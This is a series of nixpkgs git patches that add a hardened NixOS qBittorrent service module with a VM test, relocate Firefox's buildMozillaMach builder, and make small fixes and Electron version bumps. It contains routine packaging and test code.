+          "nss-lookup.target"
+        ];
+        wantedBy = [ "multi-user.target" ];
+        restartTriggers = optionals (cfg.serverConfig != { }) [ configFile ];
+
+        serviceConfig = {
+          Type = "simple";
+          User = cfg.user;
+          Group = cfg.group;
+          ExecStart = utils.escapeSystemdExecArgs (
+            [
+              (getExe cfg.package)
+              "--profile=${cfg.profileDir}"
+            ]
+            ++ optionals (cfg.webuiPort != null) [ "--webui-port=${toString cfg.webuiPort}" ]
+            ++ optionals (cfg.torrentingPort != null) [ "--torrenting-port=${toString cfg.torrentingPort}" ]
+            ++ cfg.extraArgs
+          );
+          TimeoutStopSec = 1800;
+
+          # https://github.com/qbittorrent/qBittorrent/pull/6806#discussion_r121478661
+          PrivateTmp = false;
+
+          PrivateNetwork = false;
+          RemoveIPC = true;
+          NoNewPrivileges = true;
+          PrivateDevices = true;
+          PrivateUsers = true;
+          ProtectHome = "yes";
+          ProtectProc = "invisible";
+          ProcSubset = "pid";
+          ProtectSystem = "full";
+          ProtectClock = true;
+          ProtectHostname = true;
+          ProtectKernelLogs = true;
+          ProtectKernelModules = true;
+          ProtectKernelTunables = true;
+          ProtectControlGroups = true;
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+            "AF_NETLINK"
+          ];
+          RestrictNamespaces = true;
+          RestrictRealtime = true;
+          RestrictSUIDSGID = true;
+          LockPersonality = true;
+          MemoryDenyWriteExecute = true;
+          SystemCallArchitectures = "native";
+          CapabilityBoundingSet = "";
+          SystemCallFilter = [ "@system-service" ];
+        };
+      };
+    };
+
+    users = {
+      users = mkIf (cfg.user == "qbittorrent") {
+        qbittorrent = {
+          inherit (cfg) group;
+          isSystemUser = true;
+        };
+      };
+      groups = mkIf (cfg.group == "qbittorrent") { qbittorrent = { }; };
+    };
+
+    networking.firewall.allowedTCPPorts = mkIf cfg.openFirewall (
+      optionals (cfg.webuiPort != null) [ cfg.webuiPort ]
+      ++ optionals (cfg.torrentingPort != null) [ cfg.torrentingPort ]
+    );
+  };
+  meta.maintainers = with maintainers; [ fsnkty ];
+}
diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 5b1e2ed9f81c..905a9afc85ba 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1146,6 +1146,7 @@ in
   public-inbox = handleTest ./public-inbox.nix { };
   pufferpanel = handleTest ./pufferpanel.nix { };
   pulseaudio = discoverTests (import ./pulseaudio.nix);
+  qbittorrent = runTest ./qbittorrent.nix;
   qboot = handleTestOn [ "x86_64-linux" "i686-linux" ] ./qboot.nix { };
   qemu-vm-restrictnetwork = handleTest ./qemu-vm-restrictnetwork.nix { };
   qemu-vm-volatile-root = runTest ./qemu-vm-volatile-root.nix;
diff --git a/nixos/tests/qbittorrent.nix b/nixos/tests/qbittorrent.nix
new file mode 100644
index 000000000000..e7bafbef0631
--- /dev/null
+++ b/nixos/tests/qbittorrent.nix
@@ -0,0 +1,190 @@
+{ pkgs, lib, ... }:
+{
+  name = "qbittorrent";
+
+  meta = with pkgs.lib.maintainers; {
+    maintainers = [ fsnkty ];
+  };
+
+  nodes = {
+    simple = {
+      services.qbittorrent.enable = true;
+
+      specialisation.portChange.configuration = {
+        services.qbittorrent = {
+          enable = true;
+          webuiPort = 5555;
+          torrentingPort = 44444;
+        };
+      };
+
+      specialisation.openPorts.configuration = {
+        services.qbittorrent = {
+          enable = true;
+          openFirewall = true;
+          webuiPort = 8080;
+          torrentingPort = 55555;
+        };
+      };
+
+      specialisation.serverConfig.configuration = {
+        services.qbittorrent = {
+          enable = true;
+          webuiPort = null;
+          serverConfig.Preferences.WebUI.Port = "8181";
+        };
+      };
+    };
+    # Seperate vm because it's not possible to reboot into a specialisation with
+    # switch-to-configuration: https://github.com/NixOS/nixpkgs/issues/82851
+    # For one of the test we check if manual changes are overridden during
+    # reboot, therefore it's necessary to reboot into a declarative setup.
+    declarative = {
+      services.qbittorrent = {
+        enable = true;
+        webuiPort = null;
+        serverConfig = {
+          Preferences = {
+            WebUI = {
+              Username = "user";
+              # Default password: adminadmin
+              Password_PBKDF2 = "@ByteArray(6DIf26VOpTCYbgNiO6DAFQ==:e6241eaAWGzRotQZvVA5/up9fj5wwSAThLgXI2lVMsYTu1StUgX9MgmElU3Sa/M8fs+zqwZv9URiUOObjqJGNw==)";
+              Port = lib.mkDefault "8181";
+            };
+          };
+        };
+      };
+
+      specialisation.serverConfigChange.configuration = {
+        services.qbittorrent = {
+          enable = true;
+          webuiPort = null;
+          serverConfig.Preferences.WebUI.Port = "7171";
+        };
+      };
+    };
+  };
+
+  testScript =
+    { nodes, ... }:
+    let
+      simpleSpecPath = "${nodes.simple.system.build.toplevel}/specialisation";
+      declarativeSpecPath = "${nodes.declarative.system.build.toplevel}/specialisation";
+      portChange = "${simpleSpecPath}/portChange";
+      openPorts = "${simpleSpecPath}/openPorts";
+      serverConfig = "${simpleSpecPath}/serverConfig";
+      serverConfigChange = "${declarativeSpecPath}/serverConfigChange";
+    in
+    ''
+      simple.start(allow_reboot=True)
+      declarative.start(allow_reboot=True)
+
+
+      def test_webui(machine, port):
+          machine.wait_for_unit("qbittorrent.service")
+          machine.wait_for_open_port(port)
+          machine.wait_until_succeeds(f"curl --fail http://localhost:{port}")
+
+
+      # To simulate an interactive change in the settings
+      def setPreferences_api(machine, port, post_creds, post_data):
+          qb_url = f"http://localhost:{port}"
+          api_url = f"{qb_url}/api/v2"
+          cookie_path = "/tmp/qbittorrent.cookie"
+
+          machine.succeed(
+              f'curl --header "Referer: {qb_url}" \
+              --data "{post_creds}" {api_url}/auth/login \
+              -c {cookie_path}'
+          )
+          machine.succeed(
+              f'curl --header "Referer: {qb_url}" \
+              --data "{post_data}" {api_url}/app/setPreferences \
+              -b {cookie_path}'
+          )
+
+
+      # A randomly generated password is printed in the service log when no
+      # password it set
+      def get_temp_pass(machine):
+          _, password = machine.execute(
+              "journalctl -u qbittorrent.service |\
+              grep 'The WebUI administrator password was not set.' |\
+              awk '{ print $NF }' | tr -d '\n'"
+          )
+          return password
+
+
+      # Non declarative tests
+
+      with subtest("webui works with all default settings"):
+          test_webui(simple, 8080)
+
+      with subtest("check if manual changes in settings are saved correctly"):
+          temp_pass = get_temp_pass(simple)
+
+          ## Change some settings
+          api_post = [r"json={\"listen_port\": 33333}", r"json={\"web_ui_port\": 9090}"]
+          for x in api_post:
+              setPreferences_api(
+                  machine=simple,
+                  port=8080,
+                  post_creds=f"username=admin&password={temp_pass}",
+                  post_data=x,
+              )
+
+          simple.wait_for_open_port(33333)
+          test_webui(simple, 9090)
+
+          ## Test which settings are reset
+          ## As webuiPort is passed as an cli it should reset after reboot
+          ## As torrentingPort is not passed as an cli it should not reset after
+          ## reboot
+          simple.reboot()
+          test_webui(simple, 8080)
+          simple.wait_for_open_port(33333)
+
+      with subtest("ports are changed on config change"):
+          simple.succeed("${portChange}/bin/switch-to-configuration test")
+          test_webui(simple, 5555)
+          simple.wait_for_open_port(44444)
+
+      with subtest("firewall is opened correctly"):
+          simple.succeed("${openPorts}/bin/switch-to-configuration test")
+          test_webui(simple, 8080)
+          declarative.wait_until_succeeds("curl --fail http://simple:8080")
+          declarative.wait_for_open_port(55555, "simple")
+
+      with subtest("switching from simple to declarative works"):
+          simple.succeed("${serverConfig}/bin/switch-to-configuration test")
+          test_webui(simple, 8181)
+
+
+      # Declarative tests
+
+      with subtest("serverConfig is applied correctly"):
+          test_webui(declarative, 8181)
+
+      with subtest("manual changes are overridden during reboot"):
+          ## Change some settings
+          setPreferences_api(
+              machine=declarative,
+              port=8181, # as set through serverConfig
+              post_creds="username=user&password=adminadmin",
+              post_data=r"json={\"web_ui_port\": 9191}",
+          )
+
+          test_webui(declarative, 9191)
+
+          ## Test which settings are reset
+          ## The generated qBittorrent.conf is, apparently, reapplied after reboot.
+          ## Because the port is set in `serverConfig` this overrides the manually
+          ## set port.
+          declarative.reboot()
+          test_webui(declarative, 8181)
+
+      with subtest("changes in serverConfig are applied correctly"):
+          declarative.succeed("${serverConfigChange}/bin/switch-to-configuration test")
+          test_webui(declarative, 7171)
+    '';
+}
diff --git a/pkgs/by-name/qb/qbittorrent/package.nix b/pkgs/by-name/qb/qbittorrent/package.nix
index d5592aea1dd3..98ff4d7bbf93 100644
--- a/pkgs/by-name/qb/qbittorrent/package.nix
+++ b/pkgs/by-name/qb/qbittorrent/package.nix
@@ -16,6 +16,7 @@
   webuiSupport ? true,
   wrapGAppsHook3,
   zlib,
+  nixosTests,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -74,7 +75,10 @@ stdenv.mkDerivation (finalAttrs: {
     qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
   '';
 
-  passthru.updateScript = nix-update-script { extraArgs = [ "--version-regex=release-(.*)" ]; };
+  passthru = {
+    updateScript = nix-update-script { extraArgs = [ "--version-regex=release-(.*)" ]; };
+    tests.testService = nixosTests.qbittorrent;
+  };
 
   meta = {
     description = "Featureful free software BitTorrent client";

From ff6b4e99e50ce9a9ea936e370027c902691dfd5f Mon Sep 17 00:00:00 2001
From: bas <github.plated100@passmail.net>
Date: Tue, 22 Jul 2025 17:28:24 +0200
Subject: [PATCH 3029/4511] maintainers: add undefined-landmark

(cherry picked from commit 6caef45a8fdfcdb6ab8d735dc44e4bf3a2f31877)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index fbe03d7f865c..2b2ebc50894f 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -25562,6 +25562,12 @@
     githubId = 799353;
     keys = [ { fingerprint = "EE59 5E29 BB5B F2B3 5ED2  3F1C D276 FF74 6700 7335"; } ];
   };
+  undefined-landmark = {
+    name = "bas";
+    email = "github.plated100@passmail.net";
+    github = "undefined-landmark";
+    githubId = 74454337;
+  };
   undefined-moe = {
     name = "undefined";
     email = "i@undefined.moe";

From 13df1220cc694b8f10e104f065967ac896b1f614 Mon Sep 17 00:00:00 2001
From: bas <github.plated100@passmail.net>
Date: Tue, 22 Jul 2025 17:37:56 +0200
Subject: [PATCH 3030/4511] nixos/qbittorrent: add maintainer
 undefined-landmark

As discussed in PR #287923. The author agreed to add me as a maintainer
to the module after merging.

(cherry picked from commit 380cd5924bbdbd310bcf5ce26ba35cd83e766ab6)
---
 nixos/modules/services/torrent/qbittorrent.nix | 5 ++++-
 nixos/tests/qbittorrent.nix                    | 5 ++++-
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/torrent/qbittorrent.nix b/nixos/modules/services/torrent/qbittorrent.nix
index f62750a02361..44c710c6da6b 100644
--- a/nixos/modules/services/torrent/qbittorrent.nix
+++ b/nixos/modules/services/torrent/qbittorrent.nix
@@ -234,5 +234,8 @@ in
       ++ optionals (cfg.torrentingPort != null) [ cfg.torrentingPort ]
     );
   };
-  meta.maintainers = with maintainers; [ fsnkty ];
+  meta.maintainers = with maintainers; [
+    fsnkty
+    undefined-landmark
+  ];
 }
diff --git a/nixos/tests/qbittorrent.nix b/nixos/tests/qbittorrent.nix
index e7bafbef0631..8b322af746da 100644
--- a/nixos/tests/qbittorrent.nix
+++ b/nixos/tests/qbittorrent.nix
@@ -3,7 +3,10 @@
   name = "qbittorrent";
 
   meta = with pkgs.lib.maintainers; {
-    maintainers = [ fsnkty ];
+    maintainers = [
+      fsnkty
+      undefined-landmark
+    ];
   };
 
   nodes = {

From 5e5ce5fcc7ab02447d37b4b6ddeb472a18cae5ed Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 29 Jul 2025 18:43:21 +0200
Subject: [PATCH 3031/4511] buildMozillaMach: migrate into build-support

The builder has multiple consumers, so it is fine to separate it from
Firefox, but the main motivation is to separate code ownership between
the builder and individual firefox versions.

(cherry picked from commit 0026f502790530b21668f81bd0fcdc635e2160e4)
---
 ci/OWNERS                                                       | 1 +
 .../build-mozilla-mach}/139-relax-apple-sdk.patch               | 0
 .../build-mozilla-mach}/139-wayland-drag-animation.patch        | 0
 .../build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch  | 0
 .../common.nix => build-support/build-mozilla-mach/default.nix} | 0
 .../build-mozilla-mach}/env_var_for_system_dir-ff111.patch      | 0
 .../build-mozilla-mach}/env_var_for_system_dir-ff133.patch      | 0
 .../firefox-cannot-find-type-Allocator.patch                    | 0
 .../build-mozilla-mach}/firefox-mac-missing-vector-header.patch | 0
 .../build-mozilla-mach}/no-buildconfig-ffx121.patch             | 0
 .../build-mozilla-mach}/no-buildconfig-ffx136.patch             | 0
 pkgs/top-level/all-packages.nix                                 | 2 +-
 12 files changed, 2 insertions(+), 1 deletion(-)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/139-relax-apple-sdk.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/139-wayland-drag-animation.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox/common.nix => build-support/build-mozilla-mach/default.nix} (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/env_var_for_system_dir-ff111.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/env_var_for_system_dir-ff133.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/firefox-cannot-find-type-Allocator.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/firefox-mac-missing-vector-header.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/no-buildconfig-ffx121.patch (100%)
 rename pkgs/{applications/networking/browsers/firefox => build-support/build-mozilla-mach}/no-buildconfig-ffx136.patch (100%)

diff --git a/ci/OWNERS b/ci/OWNERS
index 8fcb05854206..f92dd107cadd 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -225,6 +225,7 @@ nixos/modules/installer/tools/nix-fallback-paths.nix  @NixOS/nix-team @raitobeza
 /nixos/tests/snapcast.nix @mweinelt
 
 # Browsers
+/pkgs/build-support/build-mozilla-mach @mweinelt
 /pkgs/applications/networking/browsers/firefox @mweinelt
 /pkgs/applications/networking/browsers/chromium @emilylange @networkException
 /nixos/tests/chromium.nix @emilylange @networkException
diff --git a/pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch b/pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch
rename to pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch
diff --git a/pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch b/pkgs/build-support/build-mozilla-mach/139-wayland-drag-animation.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/139-wayland-drag-animation.patch
rename to pkgs/build-support/build-mozilla-mach/139-wayland-drag-animation.patch
diff --git a/pkgs/applications/networking/browsers/firefox/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch b/pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
rename to pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/build-support/build-mozilla-mach/default.nix
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/common.nix
rename to pkgs/build-support/build-mozilla-mach/default.nix
diff --git a/pkgs/applications/networking/browsers/firefox/env_var_for_system_dir-ff111.patch b/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/env_var_for_system_dir-ff111.patch
rename to pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch
diff --git a/pkgs/applications/networking/browsers/firefox/env_var_for_system_dir-ff133.patch b/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/env_var_for_system_dir-ff133.patch
rename to pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch
diff --git a/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch b/pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch
rename to pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch
diff --git a/pkgs/applications/networking/browsers/firefox/firefox-mac-missing-vector-header.patch b/pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/firefox-mac-missing-vector-header.patch
rename to pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch
diff --git a/pkgs/applications/networking/browsers/firefox/no-buildconfig-ffx121.patch b/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/no-buildconfig-ffx121.patch
rename to pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch
diff --git a/pkgs/applications/networking/browsers/firefox/no-buildconfig-ffx136.patch b/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch
similarity index 100%
rename from pkgs/applications/networking/browsers/firefox/no-buildconfig-ffx136.patch
rename to pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 84a9577c7a46..f56a5486542e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12438,7 +12438,7 @@ with pkgs;
   };
 
   buildMozillaMach =
-    opts: callPackage (import ../applications/networking/browsers/firefox/common.nix opts) { };
+    opts: callPackage (import ../build-support/build-mozilla-mach/default.nix opts) { };
 
   firefox-unwrapped = import ../applications/networking/browsers/firefox/packages/firefox.nix {
     inherit

From 83a09dbc0c167f70ae742f02b2e2141a4766a788 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 29 Jul 2025 18:51:45 +0200
Subject: [PATCH 3032/4511] buildMozillaMach: restore macos sdk relax for 142
 and later

This was dropped for the beta/devedition update when it didn't apply,
which broke the darwin build, because it went back to requiring a newer
sdk version than we currently ship.

(cherry picked from commit 6bc7e7de2042150d3e933989655751afd66b7cd6)
---
 .../build-mozilla-mach/142-relax-apple-sdk.patch    | 13 +++++++++++++
 pkgs/build-support/build-mozilla-mach/default.nix   |  3 +++
 2 files changed, 16 insertions(+)
 create mode 100644 pkgs/build-support/build-mozilla-mach/142-relax-apple-sdk.patch

diff --git a/pkgs/build-support/build-mozilla-mach/142-relax-apple-sdk.patch b/pkgs/build-support/build-mozilla-mach/142-relax-apple-sdk.patch
new file mode 100644
index 000000000000..c6e28f11be2f
--- /dev/null
+++ b/pkgs/build-support/build-mozilla-mach/142-relax-apple-sdk.patch
@@ -0,0 +1,13 @@
+diff --git a/build/moz.configure/toolchain.configure b/build/moz.configure/toolchain.configure
+index 37c00230c853..dd89bea24392 100644
+--- a/build/moz.configure/toolchain.configure
++++ b/build/moz.configure/toolchain.configure
+@@ -233,7 +233,7 @@ with only_when(host_is_osx | target_is_osx):
+     )
+ 
+     def mac_sdk_min_version():
+-        return "15.5"
++        return "15.2"
+ 
+     @depends(
+         "--with-macos-sdk",
diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 3c8dd8d416f3..84f140ef0998 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -319,6 +319,9 @@ buildStdenv.mkDerivation {
     ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "142") [
       ./139-relax-apple-sdk.patch
     ]
+    ++ lib.optionals (lib.versionAtLeast version "142") [
+      ./142-relax-apple-sdk.patch
+    ]
     ++ lib.optionals (lib.versionOlder version "139") [
       # Fix for missing vector header on macOS
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1959377

From 7d447ae4026643520e0d6eff0fc28f18c2545e93 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 29 Jul 2025 19:01:46 +0200
Subject: [PATCH 3033/4511] ci/OWNERS: reduce firefox package ownership

This reduces my codeownership to Firefox Rapid, ESR and the update
script. My hope is that will reduce my notification fatigue on Firefox
Beta/Devedition PRs that I needlessly get requested to.

(cherry picked from commit 4a59c529e5529c9d067611facb46a0889eed1d20)
---
 ci/OWNERS | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index f92dd107cadd..51edd50a9181 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -226,7 +226,9 @@ nixos/modules/installer/tools/nix-fallback-paths.nix  @NixOS/nix-team @raitobeza
 
 # Browsers
 /pkgs/build-support/build-mozilla-mach @mweinelt
-/pkgs/applications/networking/browsers/firefox @mweinelt
+/pkgs/applications/networking/browsers/firefox/update.nix
+/pkgs/applications/networking/browsers/firefox/packages/firefox.nix @mweinelt
+/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-*.nix @mweinelt
 /pkgs/applications/networking/browsers/chromium @emilylange @networkException
 /nixos/tests/chromium.nix @emilylange @networkException
 

From 4e55890f2809a9e9d6a93fcc86ee5aaf0b02659f Mon Sep 17 00:00:00 2001
From: Terje Larsen <terlar@gmail.com>
Date: Wed, 30 Jul 2025 10:31:50 +0200
Subject: [PATCH 3034/4511] pnpm.configHook: prevent hard linking on file
 systems without clone support

Fix #426636

(cherry picked from commit 3427c6a68870738fc6d0f0c9da7a69c4e79e0e1f)
---
 pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh b/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
index a9fc3050435b..fc0103bbe8f1 100644
--- a/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
+++ b/pkgs/development/tools/pnpm/fetch-deps/pnpm-config-hook.sh
@@ -36,6 +36,10 @@ pnpmConfigHook() {
 
     pnpm config set store-dir "$STORE_PATH"
 
+    # Prevent hard linking on file systems without clone support.
+    # See: https://pnpm.io/settings#packageimportmethod
+    pnpm config set package-import-method clone-or-copy
+
     if [[ -n "$pnpmWorkspace" ]]; then
         echo "'pnpmWorkspace' is deprecated, please migrate to 'pnpmWorkspaces'."
         exit 2

From 4b555c184bf6f0859fc62d2976e187dfb5da5ba8 Mon Sep 17 00:00:00 2001
From: Jhonas Wernery <jhonas.wernery@mnxsolutions.com>
Date: Wed, 30 Jul 2025 18:55:09 +0200
Subject: [PATCH 3035/4511] nixos/garage: set LimitNOFILE (#429633)

Upstream uses 42000, see:
https://garagehq.deuxfleurs.fr/documentation/cookbook/systemd/

(cherry picked from commit 92b504d2ff54385af14a1be2af7aedeb075bfba2)
---
 nixos/modules/services/web-servers/garage.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/nixos/modules/services/web-servers/garage.nix b/nixos/modules/services/web-servers/garage.nix
index a71ba2378c44..919bdfa36718 100644
--- a/nixos/modules/services/web-servers/garage.nix
+++ b/nixos/modules/services/web-servers/garage.nix
@@ -147,6 +147,8 @@ in
           NoNewPrivileges = true;
           EnvironmentFile = lib.optional (cfg.environmentFile != null) cfg.environmentFile;
           ReadWritePaths = lib.filter (x: !(isDefault x)) (lib.flatten [ paths ]);
+          # Upstream recommendation https://garagehq.deuxfleurs.fr/documentation/cookbook/systemd/
+          LimitNOFILE = 42000;
         };
       environment = {
         RUST_LOG = lib.mkDefault "garage=${cfg.logLevel}";

From 6c5d98585f929b4f978b23c333af7035deecc532 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:07:44 +0200
Subject: [PATCH 3036/4511] electron-source.electron_36: 36.7.1 -> 36.7.3

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.3
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.1...v36.7.3

(cherry picked from commit f3aa141cc156bb05892878d0ab60da3c5095b736)
---
 pkgs/development/tools/electron/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index bccecd057e11..4f1360aa1a56 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1366,10 +1366,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-/5e0R3R3RRsRNcYYHqb/VJ8DIXc528baIccnQocoxwU=",
+                    "hash": "sha256-XywLLfMxQEMkRW9yev9tz52GxW0Hkg8DkdcBg4hTmCw=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.7.1"
+                    "tag": "v36.7.3"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1695,10 +1695,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-UFKajmYdtI645aCY8lX8X7mCZv7/k458u72cnqk25RI=",
+                    "hash": "sha256-Qog6QBWGikETuaGj1rWTMe8q9bMu1HSK8HBUrldVnpI=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.17.0"
+                    "tag": "v22.17.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2628,10 +2628,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
+        "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
         "modules": "135",
-        "node": "22.17.0",
-        "version": "36.7.1"
+        "node": "22.17.1",
+        "version": "36.7.3"
     },
     "37": {
         "chrome": "138.0.7204.100",

From f30947d9a193903d0b166292fc1a1811ad3704f5 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 23 Jul 2025 10:16:02 +0200
Subject: [PATCH 3037/4511] electron-source.electron_37: 37.2.2 -> 37.2.4

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.2...v37.2.4

(cherry picked from commit 0ef311f4ac398ce90924a0a2c9fbd99095f5f8a5)
---
 pkgs/development/tools/electron/info.json | 38 +++++++++++------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 4f1360aa1a56..ad5c52749ae0 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.7.3"
     },
     "37": {
-        "chrome": "138.0.7204.100",
+        "chrome": "138.0.7204.157",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.100"
+            "version": "138.0.7204.157"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-No95HLCZzwbnG1vSTl/e1hftLDBo6CYIb2qTPs9AobU=",
+                    "hash": "sha256-Eu+HNXJK6lrtIUk6pQf4DVamnfU+7iNLEZR5UiKNMoA=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.100",
+                    "tag": "138.0.7204.157",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-xd96/h+3ECAN6pooHU5tcAsL7bcLHrifWreP+lRFfJk=",
+                    "hash": "sha256-v5OjpwwK89dyhbuZ0RC3aj76cfOcklGgs6cv6QSwxw4=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.2"
+                    "tag": "v37.2.4"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2732,8 +2732,8 @@
             },
             "src/third_party/angle": {
                 "args": {
-                    "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls=",
-                    "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
+                    "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c=",
+                    "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
                     "url": "https://chromium.googlesource.com/angle/angle.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2916,8 +2916,8 @@
             },
             "src/third_party/dawn": {
                 "args": {
-                    "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg=",
-                    "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
